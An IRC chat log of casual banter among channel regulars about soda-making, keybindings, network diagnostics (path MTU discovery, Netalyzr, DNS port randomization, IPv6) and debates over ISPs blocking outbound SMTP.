20:18:56 <elliott> oerjan: it's about purity not usefulness
20:19:09 <oerjan> heh
20:19:57 -!- elliott has quit (Read error: Connection reset by peer).
20:20:36 -!- elliott has joined.
20:20:42 <elliott> WHY IS THIS CONNECTION SO FUCKING UNSTABLE
20:20:55 <oerjan> are there any important warriors that simply optimizing for assuming the tape is longer than 10 and don't even try to _survive_ it?
20:21:00 <oerjan> *optimize
20:21:08 -!- pikhq has joined.
20:21:12 <elliott> oerjan: there used to be, but as we KEEP TELLING EVERYONE WHO ASKS, that no longer pays off
20:21:26 <oerjan> ...i didn't notice anyone asking :)
20:21:50 -!- pikhq_ has quit (Ping timeout: 272 seconds).
20:22:29 <Vorpal> <Phantom_Hoover> http://imgur.com/a/22daV <Phantom_Hoover> NEVER DID I THINK I WOULD LUST FOR A SINK <-- as far as sinks go, many seem rather impractical
20:22:37 <Vorpal> Phantom_Hoover, especially if kitchen sinks
20:22:51 <oerjan> lusting for sinks seems even more impractical
20:23:13 <Gregor> NEXT UP: Anise soda
20:23:28 <elliott> Gregor: ...<3
20:23:29 <elliott> Want buy
20:23:30 <Gregor> THEN: Banana soda
20:24:04 <Gregor> elliott: From the syrup, I'm AFRAID of anise soda X-D
20:24:14 <elliott> Gregor: wat
20:24:21 <Gregor> It's ... intense.
20:24:34 <Gregor> There's a teaspoon of anise extract per three liters of water.
20:24:35 <fizzie> Gregor: Anise soda == non-alcoholic ouzo?
20:24:47 <Vorpal> http://i.imgur.com/eGQyA.jpg <-- is that a real aquarium inside or just a fake one with plastic fish?
20:24:49 <Gregor> fizzie: Presumably fizzier (HI FIZZIE) too.
20:25:04 <Gregor> I should've gotten green food coloring and called it soda absynthe :P
20:25:18 <Vorpal> Phantom_Hoover, ^
20:26:05 <Phantom_Hoover> No idea.
20:26:09 <oerjan> heh are those _actual_ fish in that aquarium one - i wonder how they like when you fill the sink with hot water...
20:26:16 <fizzie> There was a faucet like the one in the picture that has the text "waterfall" in it somewhere.
20:26:17 <oerjan> *like it
20:26:23 <Phantom_Hoover> I doubt they're real: no filter.
20:26:23 <Vorpal> Phantom_Hoover, hm I see no water surface inside. Must be fake. Can't see any way it would get enough oxygen into the water
20:26:27 <Vorpal> Phantom_Hoover, that too
20:26:52 <Phantom_Hoover> Alternately, it's a concept sink and the fish aren't permanent.
20:26:52 <Vorpal> Phantom_Hoover, also it would be too stressful for the fish to live like that
20:26:55 <Phantom_Hoover> Alternately, it's a concept sink and the fish aren't permanent.
20:27:03 <Phantom_Hoover> s/that line//
20:27:12 <fizzie> Phantom_Hoover: Alternately, ROBOT FISH.
20:27:20 <Vorpal> Phantom_Hoover, ah good, then I don't have to say "stop being elliott" :P
20:27:33 <elliott> What?
20:28:17 <Vorpal> elliott, hh:mm:ss <elliott> statement hh:mm:ss <Vorpal> question. hh:mm:ss+2 <elliott> statement repeated
20:28:22 <Vorpal> elliott, that is what I'm talking about
20:28:51 <Vorpal> elliott, you do that a lot
20:29:31 <oerjan> <elliott> What?
20:29:51 <Vorpal> oerjan, err?
20:30:06 <Gregor> ALSO: Anise extract is clear, but turns cloudy when you put it in near-boiling water. Isn't that mildly interesting :P
20:30:08 <oerjan> Vorpal: THAT WOULD HAVE BEEN THE APPROPRIATE RESPONSE AT THAT POINT
20:30:38 <Vorpal> oerjan, oh. No it wouldn't. I would presume he is able to figure out what I meant.
20:30:52 <elliott> oerjan: swat time
20:31:14 <oerjan> Vorpal: YOU HAVE NO SENSE OF SYMMETRY
20:31:35 <oerjan> OR JOKES
20:31:35 -!- elliott has quit (Read error: Connection reset by peer).
20:32:26 <oerjan> otoh that was an entirely "appropriate" response from you as well :)
20:32:43 <Vorpal> oerjan, wrt symmetry: actually I do. Ask the guy on a minecraft server when I pointed out that a door was was misaligned by 1 along a very long wall. Once I pointed it out he couldn't stop getting annoyed at the lack of symmetry as well and ended up rebuilding half of a rather large castle.
20:32:54 <oerjan> EVERYONE BEHAVE IN THEIR STEREOTYPICAL MANNER, STAT!
20:33:26 <Vorpal> oerjan, oh yes I *am* aware of that taking such a statement seriously and interpreting it this way is very stereotypical of me :P
20:33:29 <Gregor> HEY GUYS I'M SAYING "HEY GUYS" AND TALKING ABOUT SOME PROGRAMMING SHIT I WROTE THAT NOBODY CARES ABOUT THEN OVERUSING :P :P :P :P
20:33:46 <Vorpal> Gregor, YAY ZEE!
20:34:10 <Vorpal> Gregor, what happens if you try websplat on a non-html page?
20:34:21 <Gregor> Vorpal: Depends on the browser, depends on the page.
20:34:33 <Vorpal> Gregor, browser: firefox, page: a .png
20:34:37 <Vorpal> Gregor, hahah
20:34:43 <Gregor> Vorpal: It behaves like a page with just one image on it.
20:34:51 <Gregor> With some markup screwiness
20:34:53 <Vorpal> "<html xmlns="http://www.w3.org/1999/xhtml"><body xmlns="http://www.w3.org/1999/xhtml"><div xmlns="http://www.w3.org/1999/xhtml">
20:34:54 <Vorpal> <div xmlns="http://www.w3.org/1999/xhtml">Which game would you like to play?" [button with html tag in it]
20:34:58 <Vorpal> Gregor, yes indeed
20:35:49 <Gregor> I can't wait for my anise soda syrup to cool down, I'm impatient D-8
20:35:50 <Vorpal> Gregor, how did that screwiness happen
20:36:00 <Vorpal> Gregor, why is it hot?
20:36:09 <Vorpal> Gregor, also try cooling it
20:36:16 <Gregor> You can only make supersaturated sucrose syrup in hot water.
20:36:32 <Gregor> It's in the refrigerator, but it was boiling and it's dense so it'll still take a while :P
20:37:08 <Vorpal> Gregor, if you let it pass through a tube with that nifty "outer-tube-where-cold-water-flows-in-the-opposite-direction"-thingy then it should cool quite quickly
20:37:19 <Gregor> This is sucrose syrup, it doesn't "flow" :P
20:37:23 <Vorpal> Gregor, ah
20:37:28 <Vorpal> Gregor, is it qctually soda then
20:37:30 <Vorpal> actually*
20:37:46 <Vorpal> Gregor, soda shouldn't be syrupy. It should flow
20:37:52 <Phantom_Hoover> <Gregor> It's in the refrigerator, but it was boiling and it's dense so it'll still take a while :P ← HEAT CAPACITY FAIL
20:38:01 <Gregor> Vorpal: This is soda SYRUP
20:38:12 <oerjan> Gregor: do other hyposmic people taste drinks like you do? i have this feeling these experiments ought to be of benefit to _someone_ else...
20:38:16 <Vorpal> Gregor, okay what about liquid nitrogen then?
20:38:24 <Gregor> oerjan: I've gotten mixed results :P
20:38:35 <Gregor> Vorpal: I've got a huge supply of that lawlehcoptah
20:38:55 <Vorpal> Gregor, what about normal freeze spray?
20:39:12 <Vorpal> Gregor, they can cool things to like -20 in a handful of seconds
20:39:26 <Gregor> I don't want frozen syrup :P
20:39:40 <Vorpal> Gregor, don't apply it for so long then duh!
20:39:54 <Gregor> Vorpal: zomg u r so helpful
20:39:54 <Vorpal> Gregor, besides "couple of seconds" was a for a 8-pin DIP
20:40:04 <Vorpal> Gregor, I'm sure it would take a bit longer for your thing
20:40:07 -!- augur has quit (Remote host closed the connection).
20:41:24 <pikhq> *Aaaaah*.
20:41:43 <Vorpal> pikhq, what?
20:41:56 <oerjan> hm i wonder if there is a faster, yet still not extra energy-requiring way of cooling boiling things down to room temperature (to save on refrigeration)
20:41:59 <pikhq> Sometimes, my packets end up going through a router that gleefully throws away all ICMP messages, including those required for path MTU discovery.
20:42:16 <oerjan> (below room temperature obviously needs energy)
20:42:21 <fizzie> Python and error reporting: http://p.zem.fi/8yf1
20:42:31 <Vorpal> pikhq, that router is badly misconfigured
20:42:42 <Vorpal> pikhq, try to report it to whoever controls it
20:42:42 <pikhq> Vorpal: Yes.
20:42:59 <pikhq> I'll see if I can find who's got it.
20:43:08 <Vorpal> <fizzie> Python and error reporting: http://p.zem.fi/8yf1 <-- I have to admit I haven't seen that one, but could it be too much indention compared to the previous line perhaps?
20:43:26 <oerjan> i guess dependent on temperature, putting things outdoors may help, we sometimes do that in norway (well did when i was a child, at least)
20:43:33 <fizzie> Vorpal: The line was completely empty. The problem was a missing ) in a function comments few lines (and comments) backwards, though.
20:43:53 <Vorpal> oerjan, we still do here as well. Like when deiceing the freezer or such while it is winter.
20:44:20 <Vorpal> fizzie, in a comment
20:44:22 * pikhq runs netalyzr
20:44:23 <Vorpal> fizzie, what do you mean
20:44:25 <oerjan> Vorpal: i wasn't thinking frozen things, just cooling recently boiled things
20:44:33 <Vorpal> fizzie, it checks you have ( and ) balanced in comments?
20:44:41 <Vorpal> oerjan, that too happens
20:44:55 <Vorpal> oerjan, but I think today it would end up colder than inside the freezer
20:44:56 <fizzie> Vorpal: I just mean that it reported the error for the last line of the while, while the one with the missing ( was several lines earlier, and there were comments in-between.
20:45:14 <Vorpal> fizzie, ah...
20:45:18 <Vorpal> fizzie, what a strange bug
20:45:25 <oerjan> Vorpal: well you don't want to keep it there too long
20:45:36 <Vorpal> oerjan, -20 °C over there too?
20:46:31 <fizzie> "Current temperature at Otaniemi: -20.81 °C"
20:47:28 <pikhq> The offending host is 184.99.1.22.
20:47:57 <Vorpal> pikhq, whois(1) is helpful
20:48:02 <oerjan> Vorpal: around -8 i think, iirc the forecast
20:48:11 <Vorpal> oerjan, lucky you
20:48:13 * oerjan has no actual outside thermometer handy
20:48:17 <pikhq> Owned by my ISP.
20:48:22 <Vorpal> oerjan, also the forcast was way off
20:48:57 <Vorpal> pikhq, good luck getting past the stupid IT support when calling
20:48:59 <fizzie> oerjan: You smarmy Norwegians with your Gulf Streams.
20:49:09 <pikhq> Fudge.
20:49:15 -!- elliott has joined.
20:49:17 <oerjan> Vorpal: they've been having this strange phenomenon lately where the three-day forecast sometimes gives far too low temperatures, to the degree yr.no for a while included a warning against it
20:49:20 <Vorpal> pikhq, might be better to email the email listed in the whois record
20:49:27 <pikhq> ipadmin@qwest.com
20:49:28 <pikhq> ?
20:49:33 <Vorpal> pikhq, yes I guess so
20:49:36 <oerjan> (the first two days are comparably fine)
20:49:44 <Vorpal> pikhq, or abuse if they have one. This is abuse of the router :P
20:49:56 <Vorpal> oerjan, how strange.
20:50:04 <elliott> dude
20:50:05 <pikhq> Not actually abuse, just a major administrative fail.
20:50:07 <elliott> <elliott> seriously who wrote this toolkit.
20:50:07 <elliott> * Disconnected (Connection timed out).
20:50:10 <elliott> WHAT THE FUCK IS UP WITH MY CONNECTION
20:50:11 <elliott> :(
20:50:23 <Vorpal> elliott, what toolkit?
20:50:30 <Vorpal> elliott, also check if your MTU discovery works
20:50:32 <oerjan> Vorpal: i recall something vague about the computers not being able to handle very local variations
20:50:34 <elliott> gtk
20:50:36 <elliott> and what
20:50:42 <oerjan> under some wind conditions
20:50:46 <Vorpal> elliott, just in case it is some sort of epidemic
20:50:55 <elliott> MTU discovery?
20:51:12 <Vorpal> elliott, see log, check what pikhq talked about. far too long to explain
20:51:37 <Vorpal> elliott, start at "<pikhq> *Aaaaah*."
20:51:45 <elliott> i don't skip logs
20:51:53 <Vorpal> okay
20:52:33 <elliott> what should i run to see if there's some evil router in my path :D
20:52:35 <elliott> traceroute?
20:52:40 <pikhq> http://netalyzr.icsi.berkeley.edu/
20:52:41 <Vorpal> <oerjan> Vorpal: i recall something vague about the computers not being able to handle very local variations <-- hm okay
20:52:52 <elliott> pikhq: that seems complicated. i'm not clever. but okay...
20:53:01 <oerjan> Vorpal: it may be all those fjords throwing them off :D
20:53:05 <pikhq> elliott: It's an automated thing.
20:53:10 <oerjan> and hills and stuff
20:53:13 <elliott> pikhq: erm does that page actually have any way to run it
20:53:21 <elliott> oh it's java.
20:53:21 <Vorpal> oerjan, err?
20:53:24 <elliott> so probably won't work, fun
20:53:25 <oerjan> otoh that doesn't explain why it didn't happen before
20:53:29 <elliott> ok here we go
20:53:37 <oerjan> Vorpal: norway has a lot of local height variation
20:53:48 <elliott> pikhq: okay, let's see if this helps :P
20:53:54 <elliott> pikhq: maybe we have the same problematic router between us
20:53:57 <elliott> we could be BAD ROUTER BUDDIES?
20:54:15 <Vorpal> oerjan, ah
20:54:34 <oerjan> <elliott> i don't skip logs <-- THAT'S DEDICATION
20:54:41 <Vorpal> elliott, unlikely. It is at his ISP
20:54:46 <elliott> Vorpal: shut up.
20:54:48 <elliott> pikhq: buddies *hi5*
20:55:08 <Vorpal> elliott, why do you hate the truth? :,(
20:55:10 <elliott> FIND THE BLOODY EXACT DNS MTU
20:55:12 <elliott> NOT HARD YO
20:55:15 <elliott> STUPID COMPUTER
20:55:28 <elliott> dear gtk,
20:55:30 <elliott> all i want to do
20:55:33 <elliott> is make Ctrl+A and Ctrl+E
20:55:35 <elliott> do the right thing
20:55:36 <elliott> in my text widget
20:55:37 <Vorpal> <oerjan> <elliott> i don't skip logs <-- THAT'S DEDICATION <-- no it is DSM
20:55:41 <elliott> but your API
20:55:43 <elliott> is so fucking retarded
20:55:44 <elliott> that i can't
20:55:45 -!- Phantom_Hoover has quit (Quit: Leaving).
20:55:46 <elliott> so why is that gtk
20:55:49 <elliott> is it because you suck
20:55:58 <Vorpal> elliott, what would C-e do?
20:56:01 -!- Phantom_Hoover has joined.
20:56:03 <fizzie> oerjan: A local "tabloid"-style "news"paper recently (around start of this month) advertised themselves with (paraphrasing) "Exclusive! Exact weather reports for the whole next summer! Only from us!"
20:56:08 <elliott> Vorpal: what do you think
20:56:27 <Ilari> pikhq: Regarding MREs: The ingridients used probably aren't too healthy, but those rations are likely heavily fortified which would at least provode micronutriets. Unfortunately, the micronutrient list is probably missing couple essential ones. Also, it has so many carbs that one needs solid handling of blood glucose (even with all the activity).
20:56:31 <Vorpal> elliott, eject harddrive hotswap bay 17
20:56:37 <elliott> Vorpal: no. go to eol
20:56:45 <Vorpal> elliott, oh isn't that what end does
20:56:52 <elliott> Vorpal: do you... even use emacs?
20:56:55 <Vorpal> elliott, at least I'm used to end doing that in many text editors
20:57:02 <Vorpal> elliott, yes I do but I changed some keybindings around
20:57:08 <elliott> come on, i use the arrow keys in emacs, but even /I/ use Ctrl+A and Ctrl+E
20:57:10 <Vorpal> elliott, and I don't use ctrl-e or end a lot
20:57:12 <elliott> how the fuck do you move around your shell prompt?
20:57:18 <oerjan> Vorpal: DSM-IV?
20:57:18 <elliott> like you forgot to prepend sudo
20:57:23 <Vorpal> oerjan, yeah
20:57:23 <elliott> tap the left arrow key 100 times?
20:57:26 <elliott> also i need to make Ctrl+k do the right thing afterwards too...
20:57:32 <elliott> (/not/ what Emacs treats it as)
20:57:39 <Vorpal> elliott, you know inputrc?
20:57:54 <elliott> i don't know why anyone would use home/end. they're in the block of useless keys.
20:57:54 <Vorpal> elliott, home jumps to start of the input for me. Easier to press too
20:58:00 <Sgeo_> Ok, I was not expecting Star Trek to take a strong anti-euthanasia stance
20:58:02 <elliott> easier to press than ctrl+a/e?
20:58:04 <elliott> what?
20:58:06 <Vorpal> elliott, I mean I don't even have to move my hand to reach home key
20:58:43 <Vorpal> well slightly up. But not much. Don't need to move for end though
20:59:00 <Vorpal> elliott, on a laptop I do of course, but not on a full size keyboard
20:59:06 <elliott> i wonder /why/ emacs is so retarded with ctrl-k.
20:59:11 <Vorpal> laptops place those keys so stupidly
20:59:23 <Vorpal> but then, there isn't much choice
20:59:33 <elliott> fn-left and fn-right are home/end on this.
20:59:37 <elliott> (fn-up and fn-down are pgup/pgdwn)
20:59:40 <elliott> *pgdown)
20:59:51 <Vorpal> elliott, ouch that hurts
21:00:03 <elliott> no
21:00:04 <elliott> it's nice
21:00:07 <elliott> the cursor keys are ok on this
21:00:29 <Vorpal> elliott, really if you can't reach end from home row position on a full size keyboard with the outermost finger your hands are too small :P
21:00:29 -!- elliott has quit (Read error: Connection reset by peer).
21:00:40 <Vorpal> maybe just as well he didn't see that
21:01:03 -!- elliott has joined.
21:01:07 <elliott> Major Abnormalities
21:01:09 <elliott> Your ISP's DNS server is slow to lookup names
21:01:11 <elliott> Minor Aberrations
21:01:13 <elliott> Certain TCP protocols are blocked in outbound traffic
21:01:15 <elliott> Fragmented UDP traffic is blocked
21:01:17 <elliott> The network path does not reply when it needs to fragment traffic
21:01:21 <elliott> Network packet buffering may be excessive
21:01:23 <elliott> that doesn't seem to help much.
21:01:36 <Vorpal> elliott, I very very much doubt fragmenting would happen for IRC
21:01:40 <elliott> Basic UDP access is available.
21:01:40 <elliott> The applet was able to send a packet of 1471 bytes of payload (1499 bytes total) only on the second try, suggesting your host is running Linux (or other path MTU discovery) on UDP traffic.
21:01:40 <elliott> The applet was unable to receive fragmented UDP traffic. The most likely cause is an error in your network's firewall configuration or NAT.
21:01:41 <pikhq> So, you too have path MTU discovery broken.
21:01:43 <elliott> The maximum packet successfully received was 1477 bytes of payload.
21:01:45 <elliott> MTU
21:01:47 <elliott> I see MTU
21:01:54 <Vorpal> elliott, that MTU looks good
21:01:55 <elliott> pikhq: so that would cause me not seeing any messages from the server for ages
21:01:56 <elliott> then disconnecting
21:02:02 <elliott> and reconnecting nearly immediately?
21:02:06 <elliott> (as in, no downtime delay)
21:02:15 <elliott> also, at the same time, i get disconnected from MSN Messenger
21:02:19 <Ilari> Does UDP-Lite work? :->
21:02:20 <pikhq> elliott: If it's somehow dropping fragmented packets.
21:02:23 <elliott> so I guess it's like a temporary outage?
21:02:34 <elliott> i guess?
21:02:46 <pikhq> You also seem to have bufferbloat.
21:02:49 <elliott> heh: [[We estimate your uplink as having 2600 msec of buffering. This is quite high, and you may experience substantial disruption to your network performance when performing interactive tasks such as web-surfing while simultaneously conducting large uploads. With such a buffer, real-time applications such as games or audio chat can work quite poorly when conducting large uploads at the same time.]]
21:02:50 <oerjan> <pikhq> So, you too have path MTU discovery broken. <-- SYNCHRONICITY
21:02:58 <elliott> apparently my isp's dns sucks.
21:03:09 <elliott> todo. bogons.
21:03:09 * oerjan shuffles back into the corner
21:04:22 <Vorpal> pikhq, I wonder what that netalyzer will tell me. Turned on java to test. In particular I have a local dns server for example
21:04:23 <pikhq> I've not ended up actually testing my ISP's DNS; my DNS server is on localhost.
21:04:29 <oerjan> elliott: i assume you have tried several different irc servers.
21:04:37 <Vorpal> pikhq, also IPsec and an ipv6 tunnel. And what not
21:04:45 <elliott> oerjan: um no
21:04:48 <elliott> i just use irc.freenode.net
21:04:52 <elliott> oerjan: since i get disconnected from msn messenger.
21:04:56 <elliott> it's not the irc server.
21:05:03 <oerjan> elliott: well that _is_ technically several different ones, i believe.
21:05:05 <pikhq> I'm still getting excessive buffering on uplink, even though I've throttled that to the point that load doesn't appear to cause RTT to go up. :/
21:05:08 -!- variable has quit (Quit: Going!).
21:05:28 <Vorpal> elliott, was the analysis complete when you lost connection?
21:05:33 -!- variable has joined.
21:05:34 <oerjan> i have a default one in sweden and irc. as backup.
21:05:38 <elliott> Vorpal: yes.
21:05:42 <elliott> it presents it all in one go.
21:05:43 <Vorpal> elliott, ah good
21:05:54 <elliott> oerjan: YOU WOULD ASSOCIATE WITH SWEDES?
21:06:07 <Vorpal> elliott, as long as it completed then since otherwise I bet that would have screwed it up
21:06:22 -!- augur has joined.
21:07:09 <Vorpal> elliott, as for filtered ports. I guess SMTP?
21:08:01 <elliott> yes. and netbios and stuff.
21:08:02 <elliott> for me.
21:08:24 <Vorpal> elliott, that's quite sane
21:09:17 <Vorpal> elliott, I would probably do the same for non-business customers when it comes to SMTP if I ran the network operations for an ISP. And NetBIOS I would definitely block for everyone out.
21:09:39 <Vorpal> pikhq, I wonder why it reports "No DNS Port Randomization"
21:09:41 <oerjan> elliott: for quite a while there was no freenode server in norway. i think there is one again now but i haven't bothered to change.
21:09:42 <Vorpal> pikhq, :/
21:10:03 <Vorpal> pikhq, I use unbound after all
21:10:41 <pikhq> Vorpal: You're set up for a DNS cache poisoning.
21:10:53 <pikhq> Vorpal: Check your unbound settings.
21:11:00 <Vorpal> pikhq, hm
21:11:10 <elliott> <Vorpal> elliott, I would probably do the same for non-business customers when it comes to SMTP if I ran the network operations for an ISP. And NetBIOS I would definitely block for everyone out.
21:11:12 <elliott> meh.
21:11:16 <elliott> blocking smtp doesn't help anything.
21:11:26 <elliott> and blocking netbios is pointless, that hasn't been a threat in like 200 yeras.
21:11:28 <elliott> *years.
21:11:34 <elliott> Fucking with the tubes is why every ISP sucks.
21:11:45 <Vorpal> elliott, it prevents sending spam from botnets on those computers
21:11:47 <Vorpal> so yes it helps
21:11:59 <elliott> Vorpal: And that's why nobody gets any spam!
21:12:13 <Vorpal> elliott, well, it would be worse if they didn't block that
21:12:19 <elliott> No it wouldn't.
21:12:29 <elliott> John Gilmore gazes sadly at thee.
21:12:36 <pikhq> Vorpal: Uh, blocking outgoing SMTP prevents people from using *normal mail clients*.
21:12:47 <elliott> Vorpal: You know that strongSwan thing you love?
21:12:49 <Vorpal> pikhq, great. My IPv6 has asymmetric MTU...
21:12:59 <elliott> Derives from code written by John Gilmore, who now hates you. :P
21:13:02 <elliott> *Derived
21:13:16 <Vorpal> elliott, openbsd?
21:13:22 <elliott> What?
21:13:26 <elliott> No, FreeS/WAN.
21:13:34 <Vorpal> elliott, why would Gilmore hate me?
21:13:35 <elliott> Of which strongSwan is a fork.
21:13:40 <Vorpal> elliott, I'm aware
21:13:41 <elliott> Vorpal: Because he runs an open mail relay.
21:13:46 <Vorpal> elliott, hah
21:13:53 <elliott> And hates a lot of anti-spammers because of it.
21:14:03 <elliott> (His ISP disabled his connection after a bunch of people yelled.)
21:14:12 <elliott> He owns the domain toad.com which is one of the 100 oldest active .com domains. It was registered on August 18, 1987. He runs the mail server at toad.com as an open mail relay. In October 2002, Gilmore's ISP, Verio, cut off his Internet access for running an open relay, a violation of Verio's terms of service. Many people contend that open relays make it too easy to send spam. Gilmore protests that his mail server was programmed to be essentially
21:14:12 <elliott> useless to spammers and other senders of mass email and he argues that Verio's actions constitute censorship. He also notes that his configuration makes it easier for friends who travel to send email, although his critics counter that there are other mechanisms to accommodate people wanting to send email while traveling. The measures Gilmore took to make his server useless to spammers may or may not have helped, considering that in 2002, at leas
21:14:13 <elliott> t one massmailing worm that sent through open relays—W32.Yaha—had been hardcoded to relay through the toad.com mailserver. An article citing this was posted, and a subsequent discussion on the issue took place, on Declan McCullagh's Politechbot mailing list. to archived article and discussion
21:14:33 <Vorpal> pikhq, any idea what in unbound settings I should look for?
21:14:34 <fizzie> pikhq: Blocking outgoing SMTP just means everyone configures your whitelisted SMTP server as their "outgoing mail" server; I thought that was pretty much common practice. I mean, normal email clients don't do direct-to-MX mail delivery.
21:14:51 <elliott> To be honest, blocking open mail relays does not really help at all.
21:14:55 <elliott> The spam problem is way too big for that to matter at all.
21:15:11 <pikhq> Vorpal: Not a clue; it "just works" for me.
21:15:14 <Vorpal> pikhq, I see nothing obviously wrong. So it would have to be bad defaults.
21:15:56 <Vorpal> pikhq, hm I suspect my NAT might be doing something strange with DNS requests
21:15:59 <Vorpal> pikhq, that would make sense
21:16:02 <pikhq> fizzie: Funny, by having a single SMTP server whitelisted then you're either making it so that people can only use the ISP's mail service *or* you're giving them a completely open relay.
21:16:10 <pikhq> fizzie: Which *actually allows spam*.
21:16:21 <Sgeo_> Windows was being weird
21:16:40 <Sgeo_> A YouTube video randomly lept to my desktop
21:17:07 <Vorpal> elliott, btw SMTP was not blocked for me
21:17:15 <elliott> Vorpal: OH NOES SPAMME
21:17:18 <Vorpal> elliott, :P
21:17:22 <Vorpal> pikhq, any idea about: <Vorpal> pikhq, great. My IPv6 has asymmetric MTU...
21:17:30 <pikhq> Vorpal: Not a clue.
21:17:36 <fizzie> pikhq: The ISP's whitelisted server of course allows "spam" coming from their customer networks, yes. It's not an "open relay" though.
21:17:38 <Vorpal> pikhq, also "Your system can send fragmented traffic, but can not receive fragmented traffic over IPv6."
21:17:57 <pikhq> fizzie: Close enough as far as a botnet is concerned.
21:18:13 <pikhq> Assuming a botnet smart enough to actually figure out which SMTP server is allowed.
21:18:32 <Vorpal> pikhq, and what about password for SMTP server?
21:18:40 <pikhq> Vorpal: Botnet can sniff.
21:18:43 <Vorpal> true
21:18:43 -!- invariable has joined.
21:18:58 -!- invariable has quit (Remote host closed the connection).
21:19:17 <fizzie> The server address is probably diggable from Outlook/Thunderbird/maybe-a-few-more-clients configuration settings pretty easily for say 98% of hosts.
21:19:21 <pikhq> Basically, blocking SMTP does very little beyond making things inconvenient for legit use.
21:20:19 <Vorpal> elliott, err wait it says I'm good on SMTP out for ipv6 but it doesn't even list it for ipv4
21:20:43 <fizzie> It's still not exactly an unknown practice. I'm not sure what my ISP does, since I'm just using their outgoing SMTP server anyway.
21:21:13 <Vorpal> Your system can successfully look up IPv6 addresses. Your DNS resolver is not on Google's IPv6 "whitelist", which means that Google does not enable IPv6 access to their services for you.
21:21:16 * pikhq appears to have all outgoing ports allowed.
21:21:17 <Vorpal> Why do they point that out
21:21:23 <Vorpal> that it isn't done by google?
21:21:32 <fizzie> I don't think there are any ISPs that don't provide an open-to-their-customers SMTP relay server, though; it's not like the customers in question have anything else to put in their email client's outgoing-server configurations.
21:21:36 <elliott> Vorpal: because google's ipv6 whitelist is important
21:21:41 <Vorpal> elliott, err?
21:21:42 <elliott> Vorpal: they leave off services that have problems or something
21:21:43 <elliott> iirc
21:21:53 <Vorpal> hm okay
21:21:55 <pikhq> Vorpal: Google currently only hands out AAAA records to whitelisted servers on networks that have working IPv6.
21:22:02 <elliott> Vorpal: I think there's some IPv6-enabled services that, when Google gave them IPv6 access, IPv4 access to Google got way slower
21:22:03 <Vorpal> pikhq, I see
21:22:06 <elliott> or something
21:22:35 <pikhq> elliott: The issue is that broken systems will claim to have IPv6 but not actually have it.
21:22:37 <Vorpal> elliott, I can imagine that ipv6 is slower than ipv4 in a lot of cases as well as there being timeouts on ipv6 first
21:22:41 <elliott> pikhq: Rite.
21:22:43 <pikhq> elliott: Causing them to wait for a IPv6 timeout.
21:22:45 <elliott> Which is why you can't send AAAA JUST ANYWHERE
21:22:52 <fizzie> "To qualify for Google over IPv6, your network must meet a number of requirements. These include:
21:22:52 <fizzie> Low latency, redundant paths to Google using direct peering or reliable transit
21:22:52 <fizzie> Production-quality IPv6 support and reliability
21:22:52 <fizzie> Separate DNS servers for your IPv6 users (not shared with IPv4-only users)
21:22:52 <fizzie> Users who have opted in to IPv6 services and know how to opt out if they experience problems with Google services"
21:22:56 <fizzie> They have quite some requirements there.
21:23:01 <Ilari> There's even worse problems: Some systems have IPv6 connectivity but the path is broken somewhere.
21:23:25 <pikhq> fizzie: Those requirements are sure to change soon.
21:23:40 <elliott> "Users who have opted in to IPv6 services and know how to opt out if they experience problems with Google services"
21:23:40 <elliott> heh
21:23:41 <variable> Vorpal: IPv6 is only "slower" if your system is set to try IPv6 first but they service doesn't offer IPv6 but it does provide AAAA records
21:23:41 <Vorpal> Ilari, that happens a lot on ipv6 :P
21:23:44 <pikhq> No more than a year until we've got v6-only hosts going up.
21:23:55 <Vorpal> variable, no it is slower if you have an ipv6 tunnel
21:23:56 <elliott> variable: or if your isp is broken
21:23:57 <Vorpal> variable, ...
21:23:59 <elliott> <pikhq> elliott: The issue is that broken systems will claim to have IPv6 but not actually have it.
21:24:01 <elliott> <pikhq> elliott: Causing them to wait for a IPv6 timeout.
21:24:09 <Vorpal> variable, as I have
21:24:11 <variable> Vorpal: ok - or if you have a tunnel
21:24:12 <Ilari> I have already seen v6-only hosts.
21:24:18 <Vorpal> Ilari, really?
21:24:27 <variable> <elliott> variable: or if your isp is broken --> same with V4
21:24:28 <pikhq> Ilari: Probably not common, though.
21:24:34 <elliott> variable: uh, not really
21:24:38 <elliott> variable: because every isp supports v4
21:24:39 <Ilari> Even included v6 address literals.
21:24:43 <pikhq> variable: IPv4 breakage is obvious.
21:24:46 <elliott> claim to have v6 + don't support v6 + AAAA -> timeout
21:24:48 <elliott> --> slow
21:25:10 <Ilari> I have seen even more bizarre IPv6 breakage than paths not working.
21:25:11 <pikhq> IPv6 breakage will be perceived as "Dang, this site is slow. WTF?"
21:25:35 <pikhq> (unless the host is v6-only, in which case it's obvious again. This is just not a common case yet.)
21:26:27 <Ilari> Basically: TCP connection establishes (paths both ways working) but then the connection instahangs as first packet other end sends gets blackholed. There will be no fallback to IPv4 since the connection established.
21:26:49 <Vorpal> pikhq, okay the port for DNS issue is due to my NAT. I checked with wireshark...
21:26:54 <Vorpal> fuck speedtouch
21:26:56 <elliott> I wonder how good Bogons' IPv6 is.
21:27:04 <pikhq> Vorpal: That's perverse.
21:27:39 <pikhq> Your NAT is broken.
21:27:53 <elliott> At least I'd have a static IP
21:27:55 <elliott> *IP.
21:27:59 <elliott> And could use a proper router.
21:28:28 <Vorpal> pikhq, yes I blame speedtouch
21:28:55 <elliott> SpeedTouch gateways have been criticized because the algorithm used by the manufacturer to set both the default SSID and the corresponding WEP/WPA-PSK/WPA2-PSK passwords was very easily compromised, meaning that wireless access to SpeedTouch models that still use the default password is easily possible.[20]
21:28:57 <Vorpal> elliott, I could use a proper router by reconfiguring the adsl modem to not do NAT and then buy an expensive router
21:29:09 <elliott> Vorpal: I mean: I could use a proper Linksys modem too.
21:29:11 <elliott> Generic.
21:29:15 <elliott> Because Bogons aren't assholes.
21:29:19 <pikhq> Vorpal: Eeeew.
21:29:28 <Vorpal> elliott, uh my speedtouch didn't have default settings for either of those and required you to fill that in.
21:29:28 -!- elliott has quit (Read error: Connection reset by peer).
21:29:30 <Vorpal> pikhq, ?
21:29:45 <Vorpal> pikhq, "<Vorpal> pikhq, yes I blame speedtouch" -> "<pikhq> Vorpal: Eeeew." or?
21:29:47 -!- elliott has joined.
21:29:53 <elliott> FUCK THIS BULLSHIT
21:29:55 <elliott> THIS NEVER HAPPENED BEFORE LIKE TODAY
21:29:59 <elliott> AND MAYBE YESTERDAY NIGHT
21:30:07 <pikhq> Vorpal: SpeedTouch seems to be filled with security violations, then.
21:30:18 <Vorpal> elliott, anyway: <Vorpal> elliott, uh my speedtouch didn't have default settings for either of those and required you to fill that in.
21:30:33 <Vorpal> elliott, and well default SSID/pass. Keeping those is just stupid anyway
